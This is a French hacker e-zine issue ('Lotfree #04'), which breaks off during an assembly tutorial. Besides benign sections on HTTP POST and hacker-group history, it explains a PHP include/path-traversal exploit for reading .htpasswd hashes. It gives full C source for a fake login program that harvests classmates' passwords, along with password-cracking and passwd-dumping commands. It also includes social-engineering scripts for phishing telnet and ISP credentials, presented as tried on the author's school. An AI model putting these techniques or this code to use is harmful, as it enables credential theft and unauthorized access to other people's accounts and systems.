Land Of
The Free #04
par Sirius Black
|
- Introduction
- La méthode POST (suite de l'article
sur le HTTP)
- Les Masters Of Deception &
Les Legion of Doom
- Du PHP !! (faille expliquée...
faille exploitée)
- Avoir les pass de ton bahut non crypté
- Petit vol d'une connexion web
- Fait bouger ton DOS avec l'assembleur
- Spoofing isn't proxying
- Tutorial de Cracking (keygen 1)
- Tutorial de cracking (keygen2)
- Les pass Unix, la suite avec l'utilisation de John
1.6
- SQL injection sur une base MySQL
- Conclusion
|
Introduction
|
Voici l'édition numéro 4 de
Lotfree !!! Comme d'habitude le sommaire se fera au fur et à mesure
que j'écris. Celà dit je vous ai promis quelques trucs notemment
la méthode POST, de l'assembleur... Chose
promie, chose due !! Aussi un article sur le crack
de pass Unix... J'attends toujours vos articles donc n'hésitez
pas : sirius.black@lycos.fr
(pour une fois que j'ai une adresse qui marche ;-). J'ai du formater mon
disque et j'ai perdu pas mal de docs intéressantes mais j'avais
une sauvegarde sur un RW. La connerie c'est qu'elle est pas super récente
(j'ai pas la version complète de lotfree03 c'est pour vous dire
!). Toujours pas de disclaimer (pour quoi faire ? J'ai pas la DST au cul
et puis je vois mal un hacker à un procès dire "j'ai
seulement fait ce qu'il y a écrit dans lotfree, c'est de la faute
de Sirius Black, il a pas mis de disclaimer, c'est lui qui faut arrêter").
En revanche voici un avertissement largement inspiré du livret
d'un album de NOFX :
Avertissement : Ce zine peut provoquer des
effets secondaires incluant : nausées, difficultés à
articuler ses phrases, renvoi de bile, maux de têtes, diarrhée,
stigmates, mauvaise haleine, puberté, syndrome de choc septique,
fascisme, folie, décès d'Henry Rollins (qui provoque des
pulsions soudaines à porter des sous-vétements tout en chantant
des poèmes à de jeunes garçons), confusion, mains
moîtes, pertes de seins, parresse, et dans certains cas, mort douce.
Des réactions allergiques ainsi que des explosions ont été
rapportées, et dans certaines rares circonstances, ecchymoses du
système nerveux central et blessures d'ego. Les personnes Juives
pourraient ressentir de la cupabilité, alors que les catholiques
pourraient ressentir de la discipline. Les effets secondaires sexuels
incluent : homosexualité, éjaculation prématurée,
cunnilingus, et plus d'homosexualité en weekends. Si vous souffrez
de l'un de ces symptomes, s'il vous plaît, prenez deux Vicodin avec
un marteau à digestif et consultez votre infirmière praticienne
Laura du petit matin jusqu'à tard le soir en prenant le bus numéro
un.
Sur ce je crois que vous êtes prévenus !!
|
La
méthode POST
|
La méthode POST offre un peu plus
de sécurité que la GET car elle n'apparait pas en clair
dans la barre de navigation. Toutefois, le nom des variables reste toujours
visible si on affiche la source de la page web. Afin de stopper bon nombre
de lamers, un webmaster pourra créer un script qui n'acceptera
les variables que si elles sont passées en POST. En un mot la méthode
POST c'est la discrétion. Si on tombe dans une situation d'un script
protégé, il s'uffira de le bluffer de la même façon
que l'on a vu dans le mag précédent.
Avant que vous vous posiez la question, oui j'ai installé le package
Easy PHP chez moi. Ca regroupe un interpreteur PHP, un serveur Apache
ainsi qu'une base MySQL.
Voici un exemple de script protégé qui affiche (dans le
cas d'un POST) la variable et sa valeur sous la forme POST[$variable]=$valeur.
<?php
if ($REQUEST_METHOD=='POST'){ //vérifie
que la méthode est POST
$var=$HTTP_POST_VARS;
// si c'est le cas on récupère les
données
while (list($indice,$valeur)=each($var))
echo "$REQUEST_METHOD"."[$indice]"." : $valeur<br>";
//et on les affiche
}
else echo "Désolé script protégé";
//sinon Bad Boy !!!
?>
Il faut savoir que la variable $HTTP_POST_VARS
est un tableau qui regroupe les données envoyées en POST.
Il existe une variable similaire pour GET (je vous laisse deviner comment
elle s'appelle :-). En PHP un tableau n'est pas forcément indicé
par des nombres. Par exemple si on envoie la variable var1 avec pour valeur
"hack". Alors on peut récupérer la variable de
cette façon : echo "$HTTP_POST_VARS['var1']"; affichera
"hack". En effet ici l'indice est var1 comme quoi le PHP est
super puissant. Ce langage est d'ailleurs un hybride du bash (langage
style batch mais sous UNIX) avec le langage C.
La fonction list n'est pas nécessaire à comprendre : elle
récupère tour à tour le couple (variable,valeur).
La méthode POST requiert deux lignes
d'en-tête supplémentaire : content-length et content-type.
Content-Type donne le type de données et Content-Length la longueur
totale de données en octets (en caractères car un caractère=un
octet ;-).
Dans notre cas la ligne spécifiant le type sera toujours : Content-Type:application/x-www-form-urlencoded
C'est ainsi que les navigateurs envoient les données par un formulaire.
Voici un exemple de POST :
POST /projet1/method.php
HTTP/1.1
host:127.0.0.1
// ne l'oubliez pas !!!
Content-Length:18 //
18 caractères
Content-Type:application/x-www-form-urlencoded
// format formulaire
//
Il faut laisser une ligne pour délimiter données et en-têtes
var1=arc&var2=hack //
les données formatées selon le stype http : variable1=valeur1&variable2=valeur2
etc.
HTTP/1.1 200 OK
Date: Wed, 11 Sep 2002 18:45:07 GMT
Server: Apache/1.3.20 (Win32) PHP/4.0.6
X-Powered-By: PHP/4.0.6
Transfer-Encoding: chunked
Content-Type: text/html
14
POST[var1] : arc<br> // réussi
!!!
POST[var2] : hack<br>
0
Les deux lignes d'en-têtes sont très importantes. Calculez
bien la longeur de la chaine de données avant de vous lancer car
le serveur lit vos caractères un par un et il ferme dès
qu'il a le nombre de caractères qu'on lui a dit. Si on ne mets
pas assez de caractères il va attendre qu'on en rajoute et là
aussi c'est la merde. Donc prenez votre temps !! L'ordre de Type/Length
n'a pas d'importance, g essayé les 2 cas et ça marche.
|
La
Story Masters Of Deceptions - Legion of Doom
|
Bon, on continue avec les dossiers des hackers
célébres. Aujourd'hui les Legion of
Doom (LoD) et les Masters of Deception
(MoD).
Je pense que tout le monde connait le film, ou la série, où
le dessin animé, ou le comics book Superman. Vous savez le gus
qui porte des collants bleu et qui met son slip par dessus son pantalon...
Oui je sais c désolant ;-)
Et bien ya un autre gus qui aime vraiment pas Superman et ce mec c Lex
Luthor. Dans un épisode, l'affreux Luthor monte une team qui s'appelle
les "Legion of Doom" (les hordes de l'enfer) dans le but de
tuer Superman et de devenir maître du monde (classique quoi).
En 1984, alors que le hacking peut se résumer
au phreaking (vu le nombre d'ordinateur personnel -> Arf !!!). Un pirate
se fait appeller Lex Luthor, ce mec est une
légende dans l'Underground, mais il est aussi très mystérieux,
pas le genre de mecs à se faire chopper, il ne laisse aucune trace
derrière lui, personne ne sait rien de lui à part qu'il
est très compétent.
A l'époque tout les pirates se retrouvent
sur des BBS (Bulletin Board System), ce sont des forums auxquel on se
connecte avec un pc équipé d'un modem et d'un numéro
de téléphone parce que y'avait pas beaucoup de réseaux
à l'époque :-(
Lex Luthor est alors Co-SysOp de Plovernet
(un BBS), c'est à dire co-system-operator. Comme il a accès
à pas mal d'infos sur d'autres hackers (numéro de téléphone
surtout) il contacte tout les hackers qu'il trouve compétent afin
de former sa team : les Legion of Doom.
Ils se retrouvent sur des room privées (des channels en gros) et
ils partagent leur savoir.
Petit à petit le groupe s'agrandit
et se divise en deux : Legion of Doom et Legion of Hackers, ce dernier
spécialisé en informatique.
Les LoD écriront un tas d'articles séparément notemment
pour Phrack mais ils ont aussi écrit le LOD
Technical Journal (à prendre sur www.phreak.org avec un
tas d'autres mag).
Certains membres du LoD sont tellement célèbres
qu'un défacage signé de leur pseudo pourrait tuer un admin
d'une crise cardiaque (bon j'exagère un peut, il vendrait son serveur
aux enchères avec la page défacée :-)
Il y a entre autres Lex
Luthor (le big boss), Dr Who, The Videosmith, Bill from RNOC, Phantom
Phreaker, Thomas Convenant, Phiber Optik (plus tard avec les MoD, voir
photos), Control C et... The Mentor.
The Mentor est considéré comme le plus grand écrivain
dans le monde underground. C'est lui l'auteur du Manifesto et d'autres
textes. Mais le manifesto est sans doute le texte le plus célèbre
chez les hackers.
Il y a eu un bust des Legion of Doom (comme
à peut près pour tout les grands groupes). Le bust (arrestation)
à eu lieu suite au crach du service 911
(crash du service d'urgence téléphonique aux states). Ce
crash a été un bordel pas possible dans l'underground et
les services secrets, il n'y a rien eu de tel depuis.
La légende veut que The Mentor se soit réveillé avec
un flingue dans la bouche. Info ou intox ? En tout cas il a subit quelques
violences de la part des agents (ça c'est sûr).
Pour savoir tout des Legion of Doom, voici
leur histoire écrite par eux : phrack #31 article
5
Pour tout savoir des Masters of Deceptions
--> L'article de Wired (ouvrez le plutôt
avec le bloc note : mod.txt), un mag en Anglais sur l'informatique de
très grande renommée.
Moi je ne fais que rajouter quelques détails
croustillants. L'histoire du MoD (dont le nom veut dire tout ce qu'on
veut, c'est juste pour se moquer du LoD) fini lorsque
Eric Bloodaxe (de son vrai nom Chris Coggan, membre du LoD) porte
pleinte pour piratage téléphonique contre le MoD (les LoD
avaient arrété les activitées illégales).
Ce comportement a beaucoup géné
dans l'underground et je trouve moi même que Eric Bloodaxe n'a pas
réugi comme il aurait du. Ca a causé pas mal de débat
notemmant lors d'une conférence (une summercon je crois). Emmanuel
Goldstein, autheur du 2600 et porte parole des hackers, en a beaucoup
discuté avec Bloodaxe (je n'y étais pas mais j'ai lu pas
mal de truc dessus).
Emmanuel Goldstein a d'ailleurs passé la dernier journée
de liberté de Phiber Optik avec lui : article
L'histoire racontée par Wired est
vraiment bien écrite, celle du LoD est un peu plus formelle :-(.
On termine avec une photo du MoD :
|
Petit
cours de PHP (exploitation d'une faille)
|
Putain mais qu'est ce qui m'a pris de foutre
cette rubrique, ça me fait chier de la faire mais bon... De quoi
je vais vous parler ? A ça y est je vois.
Bon je vais vous parler des protections .htaccess
et de comment les contourner sur un site php mal sécurisé.
La preuve que ça marche c'est que je me suis hacké mon script
(lol !!).
En fait le serveur Apache (et peut être d'autres) permet une protection
web par authentification. C'est à dire que pour accèder
à une ressource donnée vous devez entrer login et password.
Le principe est le suivant : on bloque l'accès
à un répertoire grâce à un fichier qui se trouve
dans ce répertoire. Quand on demande une page qui se trouve dans
ce rep, le serveur cherche un fichier qui est par défaut le fichier
.htaccess dans lequel est inscrit les régles d'authentification.
Pourquoi ce fichier s'apelle '.htaccess' ? Surrement que ht signifie hypertext,
access accès et commence par un point car les fichiers cachès
sous unix commence comme ça.
Prenons mon cas : g un répertoire
admin à la racine de mon site et je veux que personne n'y ai accès
sauf moi. Alors je crée un fichier .htaccess. Pour cela Apache
propose 2 logiciels : htdigest et htpasswd. Avec htdigest je crée
le .htaccess que je met dans mon rep admin, dedans ce fichier il y a :
AuthName "CyberPunk"
AuthType Basic
AuthUserFile "C:\Program Files\EasyPHP\home\niico\.htpasswd"
Require valid-user
AuthName est le nom du domaine, c'est ce
qui est entre autre affiché lorsque l'on demande une page de ce
répertoire (ça provoque l'ouverture d'une fenêtre
qui demande login et password).
AuthType est le niveau de sécurité, il y en a deux, là
le moins sécurisé mais c'est juste au niveau du cryptage.
AuthUserFile est le ligne qui nous intéresse, elle contient le
chemin, soit relatif soit absolu du fichier contenant le mot de passe.
Require est la classe d'authentification : on peut accèpter simplement
sur le login, sur login/pass, accepter tout le monde...
Avant de continuer je préfére
vous donner l'organisation de mes répertoires :
EasyPHP est installé dans c:\Program Files\EasyPHP\
Les pages web sont toujours dans le dossier www situé dans EasyPHP\
Dans ce même répertoire (EasyPHP) j'ai un dossier home avec
dedans un dossier niico et dans ce dossier le fichier .htpasswd
Vous voyez à peu près ? N'hésitez pas à faire
un schéma ça peut vous aider ;-)
Petite parenthèse : les fichiers .htaccess
et .htpasswd sont ceux crées par défaut mais rien ne vous
empêche de changer leurs noms dans les config de Apache.
J'ai aussi dans www deux dossiers principaux
: projet1 (partie publique) et admin (partie privée).
La partie public contient un script vraiment pas sécurisé
nommé file.php qui inclus le fichier que l'on lui passe comme paramètre.
Imaginons que j'arrive sur un site, je vois
des images qui sont pris dans un répertoire admin. Intéressant
non ? Dans mon navigateur je met donc www.lesite.com/admin/ histoire de
voir ce qu'il y a dedans. Et là BOUM il me demande un login et
un password.
Pas de panique, je cherche un script à
la con qui m'ouvrira toutes les portes, je trouve file.php dont voici
le source :
<?php
echo "<html><head><title>Page d'inclusion</title></head><body>";
if (isset($file)) include("$file");
else echo "pas de fichiers inclus<br>";
echo "<br>bye</body></html>";
?>
Ce script regarde si on lui passe un argument
nommé file comme paramètre, si ya pas il affiche "pas
de fichiers inclus bye" et si yen a un il inclus le fichier et met
bye après.
L'inclusion est une méthode spéciale de php, ce n'est pas
une simple lecture car elle permet d'exécuter un autre script.
Cette commande intercale les lignes d'un script donné, dans le
script courant. Mais la faille que je vous montre peut aussi bien marcher
avec un script de simple lecture.
Je profite donc de ce script pour passer
à travers la protection htaccess, je tape dans mon navigateur :
http://127.0.0.1/projet1/FILE.PHP?file=..\admin\.htaccess et j'obtiens
:
AuthName "CyberPunk"
AuthType Basic AuthUserFile "C:\Program Files\EasyPHP\home\niico\.htpasswd"
Require valid-user
bye
Conclusion : le fichier contenant le mot
de passe est c:\Pro...\niico\.htpasswd. Bon moi je connais mon PC donc
je savais comment accèder au chemin à travers les répertoires.
Mais en connaissant la façon dont marche EasyPHP, n'importe qui
peut comprendre.
La racine du site est www\, au dessus c'est
EasyPHP, nous on est dans /projet1/file.php donc il faut que l'on sorte
de la racine web : on remonte deux fois, une pour projet1, l'autre pour
www. On commence donc par ..\..\ On est alors dans EasyPHP, on rajoute
home\niico\.htpasswd, ce qui donne chez moi :
http://127.0.0.1/projet1/FILE.PHP?file=..\..\home\niico\.htpasswd
J'obtiens :
CyberPunk:$apr1$CM......$aUEdAaYOBvUh38gK1cD9t1
bye
CyberPunk c'est le login et le reste est
le pass encrypté en MD5. Ne croyez
pas les conneries que l'on peut lire dans certains mag, le pass est toujours
crypté.
La deuxième faille est en fait que quand vous remplissez la fenêtre
de login/password, les informations sont envoyées
codées en base 64 au serveur web.
Le danger vient donc si vous êtes sur un réseau local, et
que vous souhaitez administrer votre site à distance, un mec sur
le réseau peut sniffer vos données et les décrypter,
c'est tout.
Quand au MD5, il doit exister un truc pour le casser mais g pas trouvé,
alors si vous connaissez un logiciel, écrivez moi.
Qu'est ce qu'y peut y avoir dans le dossier
admin une fois que l'on y a accès ? Et bien un script permettant
de créer des pages par exemple, pratique pour un défacage,
ou pour mettre une backdoor ;-) Je vous donne en cadeau, un petit script
nommé admin.php.txt qui permet ça.
|
Avoir
les pass de ton bahut non crypté (avec john v1.0) |
Ca y est, l'article que vous attendiez tous est arrivé (sans se
presser :-) On va voir différentes méthodes pour obtenir
les pass et à mon avis vous allez pas être décu.
Bon on va commencer par des rappels sur les fichiers passwords sous
Unix (si c'est la première fois que vous les voyez, il est
jamais trop tard). Il va de soit que les logins/password des utilisateurs
sont enregistrés quelques part. Unix s'appuie sur un système
de fichier prédéfini, ce système est présent
sur tout les *NIX et permet de faire fonctionner l'OS (un peu comme le
c:\windows). Les fichiers systèmes sont donc à des endroits
précis qui sont toujours les mêmes. Entre parenthèses,
comme tout système évolué, Unix est multiutilisateur.
Ca veut dire deux choses :
1- Que Windows 3.1, win95, win98 et winMe ne sont pas évolués
2- Que si ya plusieurs utilisateurs alors il y a des droits, des logins
et des pass différents
Bon j'avoue c'était surtout pour casser Windows ;-) (et tu casses
!!! Double !!!)
Quoi qu'il en soit le fichier password est dans /etc/passwd, une
ligne de ce fichier password peut ressembler à ça :
dupuy:K0wEFtIa/zcx6:2618:1000:Paul Dupuy:/home/dupuy:/bin/bash
Dans ce cas, le password est non "shadow", c'est à
dire que l'on voit sa traduction crypté. Tout est séparé
par les deux points.
Le premier champ est le login, le second le password crypté, le
troisième les droits de l'utilisateur, le quatrième les
droits du groupe auquel il fait parti puis une description du compte (en
règle générale les noms et prénoms). En sixième
position on retrouve la racine de son compte (en général
/home/<login>/) suivit du shell qui est exécuté quand
l'utilisateur se logge sur le système.
Pour afficher le fichier passwd, rien de plus simple, vous faites un cat
/etc/passwd. Pour le récup dans un fichier vous rajoutez ">NomDuFichier"
mais je pense que vous le savez.
Une fois que vous avez ce fichier, vous le cracker avec un Unix Password
Cracker, le mieux est sans doute john à la fois pour son
efficacité et aussi vous ses fonctionnalitées. Mais il y
un a un tas d'autres comme CrackerJack (que j'ai jamais réussi
à faire marcher), Crack (un des premiers), PaceCrack95
(sur win95), QCrack (sur Linux), PCrack (en perl), Hades
(comme le gardien de l'enfer), Star Cracker, Killer Cracker, HellfireCracker,
XIT, Claymore, Guess, PC Unix Cracker (s'est pas foulé pour
le nom) et Merlin. Alors vous êtes cloué là
? Ben non ya pas que Jack et John !
Les passwords sont encryptés au format DES, sa faiblesse
est que c'est une méthode qui commence à dater (1977 pour
les premières versions). Unix utilise une fonction appelée
crypt() pour encoder votre password.
Lorsque vous vous connecter, Unix prend votre password, le crypte, et
le compare à la version crypté dans le fichier passwd, si
c'est bon vous entrez sinon Bad Boy ;-)
Un cracker marche de la même manière, il prend un mot de
passe plus ou moins au hazard, le crypte et le compare.
Perso je n'utilise que John The Ripper pour les raisons que j'ai dit plus
haut, mais aussi parce qu'il est codé par un méga hacker
: Solar Designer qui a écrit un tas de trucs pour Phrack
et qui continue à faire des progs et même des versions de
John.
Première étape : utilisation de John, après
on passera aux autres cas.
John est très puissant, une de ses fonctions est de deviner le
password en fonction du nom/prenom/login de la victime. Par exemple si
le login est toto il va essayer toto1... toto4648, toto*254, toot54, otto-28
et un tas de calcul différents. L'avantage ? Quand un mec a fait
son pass en fonction de son login, il est vite cracké. Un exemple
? J'ai cracké un pass en moins de 5 secondes montre en mains :
le login était mathieu et le pass... ueihtam8, vous voyez le truc
? Login retourné puis 8 ajouté pour obtenir un pass de 8
caractères. Car les pass doivent faire moins de 9 caractères.
Cette méthode est l'option -single. Dans mes exemples <passwd>
représente le fichier password récupérer. Pour cracker
par single on fait :
john -single <passwd> (john se lance
dans une fenêtre ms-dos)
Autre méthode : les dicos. C'est des fichiers textes contenant
des mot pouvant être utilisés comme mots de passe. Moi j'en
ai plusieurs : un que j'ai rempli de prénoms, un de mot style loisirs/passions,
un récupéré sur internet, un de Phrack, un qui était
avec John. La commande est :
john -wordfile:<fichier_dico> <passwd>
Et la dernière méthode, du pure brute force : on
fait toutes les possibilitées. C'est l'option incrémental.
Différent types : All (tous les caractères), Alpha (lettres),
Digits (nombres), LanMan (?). La méthode :
john -incremental:<mode> <passwd>
Un conseil ? Rajoutez ou modifiez un type en fonction de vos besoins,
allez dans john.ini, à un moment vous verrez par exemple :
# Incremental Modes //
début de la déclaration des modes
[Incremental:All] // déclaration
du mode all
File = ~/all.chr // dans john 1.6 c'est
comme ça
MinLen = 0 // longueur minimum du pass
MaxLen = 8 // longueur maximum du pass
CharCount=95 // nombre de caractères
possibles
Souvent par mesure de sécurité, la longueur du pass est
fixée entre 6 et 8. On pourrait donc ajouter :
[Incremental:School]
File = ~/all.chr
MinLen = 6
MaxLen = 8
CharCount = 95
On peut heureusement arrêter et reprendre un crackage, car cela
peut durer très longtemps (quelques semaines) selon que le password
utilise des caractères spéciaux, des chiffres et des majuscule/minuscules.
Donc pour arrêter vous faites un Control+C et pour reprendre vous
faites : john -restore
En revanche si le fichier est du style :
dupuy:*:2618:1000:Paul Dupuy:/home/dupuy:/bin/bash
Alors c'est que le password est shadow : le mot de passe n'y figure
pas, il est remplacé par '*' ou 'x'. L'autre possibilité
est d'utiliser un service utilisé sur les grands réseaux
style universitées :-)
En effet sur un grand réseau, si un utilisateur change de mot de
passe, il faudrait mettre le fichier passwd à jour sur chaque serveur.
Heureusement il existe un service qui permet de déclarer un serveur
maître qui possédera les configurations de tous le monde.
Ainsi si on veut faire une modif, on la fait sur ce serveur et les modifs
sont faites sur tous les autres. Anciennement ce service est les pages
jaunes (rien à jour avec France Telecom). Les yellow pages
permettent entre autre d'appeler le fichier password par la commande ypcat
passwd, mais si vous n'avez pas de résultat essayez ypcat
passwd.byname
Il existe une version plus récente appelée NIS (Network
Information Service) qui permet le même résultat :
niscat passwd.org_dir
Si ce service est disponible vous obtenez un fichier password légérement
modifié dont une ligne ressemble à :
dupuy:K0wEFtIa/zcx6:2618:1000:Paul Dupuy:/home/dupuy:/bin/bash:11576::::::
Mais le principe est le même, vous lancez john et vous laissez tourner.
Le problème est que souvent le password root est toujours shadow.
Au fait j'ai oublié de vous dire. Plus les droits sont petits,
plus l'utilisateur est puissant. Hors le root a les droits uid=0 et gid=0
dont c'est le plus puissant.
Une autre méthode : le social engineering simple. Vous
envoyez un mail anonyme avec comme provenance "admin" ou "root"
et vous demandez bêtement le pass ou par le biais d'un formulaire.
Le social engineering extended : Une méthode que j'ai utilisée
et qui a été un succès alors que le mec se trouvait
sur le pc à côté de moi. On utilise un émulateur
de terminal qui simmule une connexion comme un rlogin, un telnet ou un
pop3. On utilise le logiciel Analyser, créé par Johan de
www.SecureNT-2000.com. Ce prog tourne sous windows, vous le lancez, vous
faites Emulation > Telnet puis vous démarrer en cliquant sur
Emulation.
Là vous demandez au mec de se connecter en telnet sur votre PC
avec une escuse bidon du style "J'ai l'impression que mon PC ne marche
pas, tu peux te connecter en telnet dessus pour voir si ça marche
?"
Quand le mec se logge sur votre machine, il y a inscrit "A vous de
jouer" au bas de la fenêtre. Vous envoyez le message de login,
la victime le rentre, vous envoyez le message de demande de password,
la victime le donne et vous fermer tout. C'est bon.
Enfin, la dernière méthode, celle que je préfère.
Elle constite à simuler le login sur une machine. Le mec
s'installe devant un pc, il tape son login puis son password. Ca marche
pas, il se dit qu'il a mal tapé, il retape et ça marche.
En fait la première fois qu'il a tapé, les données
ont été stockées dans un fichier à nous.
Comment ca marche ? Et bien on affiche "Login:" on attend que
le mec tappe son nom fini par <entrée> puis on affiche "Password:"
et on attend pareil.
Quand on a les infos, on autokill le programme et on kill notre session.
A l'origine, c un prog que j'ai trouvé dans le loopback du Phrack
42 (en gros la rubrique courrier), mais je l'ai modifié pour plus
de réalisme. A mon bahut le login prompt c'est un ascii puis le
mot "Login".
Le problème était d'afficher ce putain d'ASCII car les caractères
changent de Unix à Dos (et visse et versa). Après quelques
man, cd, ls et autres cat, j'ai trouvé que le login affiche le
fichier /etc/issue. J'ai du aussi modifier quelques lignes histoire que
la ressemblance avec le vrai login soit parfait, à la fin j'avais
:
/*----------------------------------------------------------------------+
| GRABEM 1.0 by The K-Man |
| A Cute little program to collect passwords on the Sun workstations.
|
+----------------------------------------------------------------------*/
#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"
#include <stdio.h>
#include <signal.h>
/*-----------------------------------------------------------------------+
| ignoreSig |
| Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. |
+-----------------------------------------------------------------------*/
void ignoreSig ()
{
return;
}
/*-----------------------------------------------------------------------+
| Main |
+-----------------------------------------------------------------------*/
main()
{
char name[10], /* users name */
password[10]; /* users password */
int i, /* loop counter */
lab, /* lab # you're running on */
procid; /* pid of the shell we're under */
FILE *fp; /* output file */
/*-------------------------------------------------------------------+
| Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\) |
| signals so the program doesn't stop and dump back to the shell. |
+-------------------------------------------------------------------*/
signal (SIGINT, ignoreSig); //Il manque ctrl-D :-( -> bug
signal (SIGTSTP, ignoreSig);
signal (SIGQUIT, ignoreSig);
/*-------------------------------------------------------------------+
| Get the parent pid so that we can kill it quickly later. Remove |
| this program from the account. |
+-------------------------------------------------------------------*/
procid = getppid();
system ("\\rm proj2");
/*-------------------------------------------------------------------+
| Ask for the lab # we're running on. Clear the screen. |
+-------------------------------------------------------------------*/
/*printf ("Login: ");
scanf ("%d", &lab);
for (i=1; i<40; i++)
printf ("\n");
getchar();
*/
system("clear;cat /etc/issue");// c'est quand même mieux
comme ça non ?
// On affiche le logo
/*-------------------------------------------------------------------+
| Outer for loop. If the name is <= 4 characters, it's probably not
|
| a real id. They screwed up. Give 'em another chance. |
+-------------------------------------------------------------------*/
for(;;)
{
/*---------------------------------------------------------------+
| If they hit return, loop back and give 'em the login again. |
+---------------------------------------------------------------*/
for (;;)
{
system("echo -n $HOSTNAME"); // On affiche le nom de machine
printf(" login: ",lab);
gets (name);
//Attention à la boucle, placer un \n si necessaire
if (strcmp (name, "") != 0)
break;
}
/*---------------------------------------------------------------+
| Turn off the screen echo, ask for their password, and turn the |
| echo back on. |
+---------------------------------------------------------------*/
system ("stty -echo > /dev/tty");
printf(PASSWORD);
scanf("%s",password);
getchar();
system ("stty echo > /dev/tty");
/*---------------------------------------------------------------+
| Write their userid and password to the file. |
+---------------------------------------------------------------*/
if ( ( fp = fopen(FILENAME,"a") ) != NULL )
{
fprintf(fp,"login %s has password %s\n",name,password);// hacked
fclose(fp);
}
/*---------------------------------------------------------------+
| If the name is bogus, send 'em back through |
+---------------------------------------------------------------*/
if (strlen (name) >= 4)
break;
else
printf (INCORRECT);
printf("\n\n");//Comme vu plus haut dépend de la boucle
}
/*-------------------------------------------------------------------+
| Everything went cool. Tell 'em they fucked up and mis-typed and |
| dump them out to the REAL login prompt. We do this by killing the |
| parent process (console). |
+-------------------------------------------------------------------*/
printf (INCORRECT);
kill (procid, 9);// on s'autokill ;-)
}
Pour compiler ce prog vous faites gcc -o proj2 proj2.c
puis vous lancez avec ./proj2
J'ai rajouté l'affichage de pré-login, l'affichage de nom
de machine avant le login et aussi d'autres trucs d'affichage.
C'est à vous de le modifier selon vos besoins mais à mon
avis cette version est proche de la plupart des systèmes.
Les résultats sont placés dans le fichier .exrc%. Ceci
est vraiment efficace. Pour preuve : j'ai mis le prog sur trois machine
côte à côte, puis trois mecs se sont mis sur les machines
--> 3 accounts d'un coup ;-) Je pense qu'il est préférable
de rajouter plus de place pour le login et le password (genre 30 caractères
chacuns) au cas où un met se fait chier et rentre des conneries
sur le clavier.
|
Petit
vol d'une connexion web |
Bon c'est un petit scénar que j'ai imaginé qui peut servir
à récupérer des connexions web. Deux personnages
: un hacker d'adresse IP 194.28.32.1 et la victime qui se rencontrent
sur un forum de discussion d'un fournisseur d'accès X. Le hacker
dispose du prog Analyser codé par Johan et dont je parle
dans l'article précédent.
<hacker> Salut
<victime> Salut
<hacker> Je connais un truc pour pas payer sa connexion internet
sur X
<victime> Ah ouais ? Comment tu fais ?
<hacker> C'est un pote qui fait parti du commité d'entreprise
de X qui m'a dit ça. Ils ont droits à se connecter gratuitement,
ça fait partie des privilèges qui leur sont donné.
<victime> Et comment tu fais ?
<hacker> T'en parles à personne d'autre hein ? Faut que ça
reste secret !
<victime> T'inquiète pas, ça restera entre nous ;-)
<hacker> En fait il faut que tu te connecte à un serveur
pour déclarer que tu est un membre du comité d'entreprise
<victime> OK, c'est quoi le serveur ?
<hacker> C 194.28.31.1, tu met ton met son login et ton pass de
connexion pour te déclarer privilégié
-- A ce moment là le hacker lance Analyser avec une émulation
telnet, récupère les données, accepte la connexion
puis ferme.
<victime> Ca y est je me suis loggé, mais il a fermé
la connexion, c'est normal ?
<hacker> T'inquiète pas il sert juste à ça
;-)
Autant vous dire que ça doit marcher très bien avec les
lammers et les newbies, pour les personnes qui n'y connaisent rien à
l'informatique ça va demander plus de temps mais dans tous les
cas la victime a l'impression d'apprendre un truc ultra-secret et elle
se sent hyper flattée donc ----> Hacked B====¤ (_o_)
Ramasse la savonnette !!!!
|
Faire
bouger ton Dos avec l'assembleur (utilisation nasm) |
Chose promis chose due, on va voir comment afficher des couleurs et faire
des asciis en assembleur. Comme ça vous pourrez faire le branleur
auprès de vos potes.
Je vais me répéter mais bon, un prog est divisé en
plusieurs parties :
- la partie data qui contient toutes les constantes et déclaration
de variables.
- La partie code qui contient... le code (en lecture seule)
- La pile (stack) en lecture/écriture qui sert à passer
des arguments aux fonctions...
Bon en général, un prog commence par un prologue et fini
par un épilogue qui servent en gros à déclarer un
nouvel environnement (avec des variables locales) et puis à restituer
l'ancien environnement avant de quitter.
Mais apparement on en a juste besoin dans les fonctions car au lancement
du prog ca ne change rien. Mais plutôt que je sorte du sujet principal
(comme d'hab) je vous conseil de lire n'importe quel texte sur les BoF
(buffers overflows).
Autant que je sache il n'existe qu'un seul livre sur l'assembleur en Français
: L'assembleur facile aux éditions Marabout par Philipe Mercier.
je vais donc citer quelques passages de ce livre.
"Un ordinateur est bien entendu équipé de toutes sortes
de périphériques dont les plus importants : le clavier,
l'écran, les disques, l'imprimante, etc. Pour accéder à
ces périphériques, nous pouvons demander l'aide de MS-DOS
: à chaque périphérique correspond une fonction portant
le numéro à laquelle le programme doit transmettre des paramètres,
spécifiant le type de "service souhaité". Ceci
ce fait par l'intermédiaire des registres.L'opération sera
alors exécutée par MS-DOS et dans certains cas, des paramètres
seront renvoyés également par l'intermédiaire des
registres. Ces fonctions sont appelées interruptions."
Donc pour appeler une interruption, il nous suffit de mettre certaines
valeurs dans certains registres puis de lancer l'appel. Une interrution
propose plusieurs services. En général le service est mis
dans AH et les autres paramètres dans les registres BX, CX, DX...
L'appel se fait par l'instruction INT.
Petit exemple qui affiche un texte donnée à un endroit donné
:
[section .data]
mesg db 'Essai de positionnement',13,10,'$'
; Déclaration d'une chaine de caractères
qui finit par l'éternel CR/LF puis un '$' (syntaxe nasm)
[section .text]
org 100h ; défini l'EntryPoint du prog, toujours
à 100h (hexa) pour les fichiers com
push ax ; on sauvegarde les registres car on va
s'en servir (prologue)
push bx
push cx
push dx
;----------Début de la partie de l'effacement
de l'écran
mov al,0 ; on met al à 0 car ax (16 bits)
= ah (8 bits) et al (8 bits)
mov ah,6 ; service 06h
mov bh,7 ; couleur par défaut
des caractères
mov cx,0 ; effacement à parir du coin haut-gauche
mov dh,24 ; l'écran dos fait 25 lignes (ligne
0 -> ligne 24)
mov dl,79 ; et 80 colonnes
int 0x10 ; interruption 10h
;----------Fin de la partie de l'effacement de l'écran
;----------Début du positionnement du curseur
mov ah,12 ; on se place à la ligne 12
mov al,30 ; on se place à la colonne 30
mov dx,ax ; al et ah forment ax. Ces coordonnées
sont ensuite placées en dx
mov ah,2 ; fonction 2h
mov bh,0 ; page 0
int 0x10 ; interruption 10h
;----------Fin positionnement cuseur
;----------et enfin on affiche le message
